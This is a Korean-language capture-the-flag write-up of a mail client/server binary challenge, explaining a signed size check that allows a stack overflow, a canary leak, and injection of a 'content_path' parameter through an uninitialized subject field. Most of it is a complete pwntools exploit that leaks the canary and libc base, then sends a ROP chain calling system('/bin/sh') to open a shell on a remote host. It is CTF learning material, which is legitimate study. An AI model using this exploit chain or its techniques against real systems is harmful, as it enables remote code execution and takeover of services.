mailclient와 mailserver라는 바이너리가 있으며 서로 통신하며, 파일을 생성하고 읽는다. 가장 눈에 띄는 취약점은 다음과 같이 콘텐츠 사이즈를 int 형으로 검사한다는 것이다. 음수 값을 넣으면 2048이 넘는 사이즈 값을 입력할 수 있게 된다.
해당 사이즈 값 4자리는 파일내에 같이 저장되며, 메일을 읽을때 해당 사이즈 값을 바탕으로 파일에서 값을 읽는다.
다음은 파일을 읽는 부분이다. 파일에 저장된 4자리 사이즈 값을 읽고 그만큼 read / write를 한다. content_buffer는 2048 사이즈의 지역변수이기 때문에 위 취약점을 이용하여 사이즈 값을 음수로 넣으면 스택 오버플로우가 발생한다.
하지만 메모리 보호 기법이 전부 걸려있기 때문에 카나리 검증으로 익스플로잇을 할 수 없다. 카나리를 유출하려면 read 함수를 생략하고 write 함수만 동작하게 하여 메모리에 값을 쓰지 않고 읽기만 해야한다.
사이즈로 -2147483648 값을 넣으면 read에서는 오류가 나서 메모리 쓰기가 발생하지 않고 write는 정상적으로 동작하여 스택 값을 매우 많이 유출할 수 있지만, 해당 트릭은 로컬에서 밖에 동작하지 않는다. 이외에 또 다른 트릭은, read로 파일을 읽을 경우 사이즈 값과 관계 없이 파일을 전부 읽으면 종료되는 것이다. 이를 이용하여 큰 사이즈 값을 가졌지만 실제 내용은 적은 파일을 이용하면 리모트에서도 스택 값을 유출할 수 있게 된다.
subject 변수가 초기화 되고 있지 않고, scanf에 엔터문자를 넣을 경우 널바이트를 포함한 아무 입력값도 들어가지 않기 때문에 메일 보내기 기능에서 다량의 더미 값을 넣으면 subject 변수에 scanf로 필터링 되는 문자열을 집어넣을 수 있다. mailServer는 a=b;와 같이 파라미터를 입력받기 때문에 aaa;content_path=????;등으로 content_path 파라미터를 조작할 수 있다.
원래 인텐풀이는 mailServer에서 이용하는 update.evant, update.bin 파일을 이용하거나 사용자 콘텐츠 데이터 파일등을 잘 조작해서 스택을 유출하는 것이지만, 리눅스에는 기본적으로 /proc/uptime에 정수가 쓰여진 파일이 있으므로, content_path 조작을 통해 해당 파일을 읽으면 스택을 유출할 수 있다.
이후 유출된 카나리, libc 주소를 통해 ROP를 하면 익스플로잇할 수 있다.
from pwn import *
import random
p = remote('172.17.0.4', 1337)
#p = process('mailclient')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
email = b'xguest' + str(random.randint(10**10,10**11)).encode() + b'@hackemall.live'
email2 = b'xguest2' + str(random.randint(10**10,10**11)).encode() + b'@hackemall.live'
#register
p.sendline(b'2'); time.sleep(0.15)
p.sendline(email); time.sleep(0.15)
p.sendline(b'guest'); time.sleep(0.15)
#register
p.sendline(b'2'); time.sleep(0.15)
p.sendline(email2); time.sleep(0.15)
p.sendline(b'guest'); time.sleep(0.15)
#login
p.sendline(b'1'); time.sleep(0.15)
p.sendline(email); time.sleep(0.15)
p.sendline(b'guest'); time.sleep(0.155)
filename1 = b'fisadioada' + str(random.randint(10**10,10**11)).encode()
filename2 = b'asdj09casj' + str(random.randint(10**10,10**11)).encode()
#sent
p.sendline(b'3'); time.sleep(0.155)
p.sendline(email); time.sleep(0.155)
p.sendline(filename1); time.sleep(0.155)
p.sendline(b'2000'); time.sleep(0.155) #2147483648
p.sendline(b'xxxxxxxxxxxx'+b'aaaa;content_path=/proc/uptime\x00'*70); time.sleep(0.155)
p.sendline(b'4')
#sent
p.sendline(b'3'); time.sleep(0.155)
p.sendline(email2); time.sleep(0.15)
p.send(b'\n'); time.sleep(0.155)
p.sendline(b'2'); time.sleep(0.155) #2147483648
p.sendline(b'a'*1); time.sleep(0.155)
#login
p.sendline(b'1'); time.sleep(0.15)
p.sendline(email2); time.sleep(0.15)
p.sendline(b'guest'); time.sleep(0.155)
p.sendline(b'4')
p.recvuntil(b'Subject: content_path=/proc/uptime\n')
p.recvn(2048+8)
cnry = u64(p.recvn(8))
print(f'cnry : {(hex(cnry))}')
p.recvn(8*7)
libc_base = u64(p.recvn(8)) - 0x29d90
print(f'libc_base : {(hex(libc_base))}')
#sent
p.sendline(b'3'); time.sleep(0.15)
p.sendline(email2); time.sleep(0.15)
p.sendline(filename2); time.sleep(0.15)
p.sendline(b'-1'); time.sleep(0.15)
payload = b'a'*(2048+8)
payload += p64(cnry)
payload += p64(0xdeadbeef)
payload += p64(libc_base + 0x000000000002a3e5)
payload += p64(libc_base + list(libc.search(b'/bin/sh'))[0])
payload += p64(libc_base + 0x000000000002a3e5+1)
payload += p64(libc_base + 0x50d60)
p.sendline(payload); time.sleep(0.15)
p.sendline(b'4'); time.sleep(0.15)
p.interactive()
还没有评论,来说两句吧...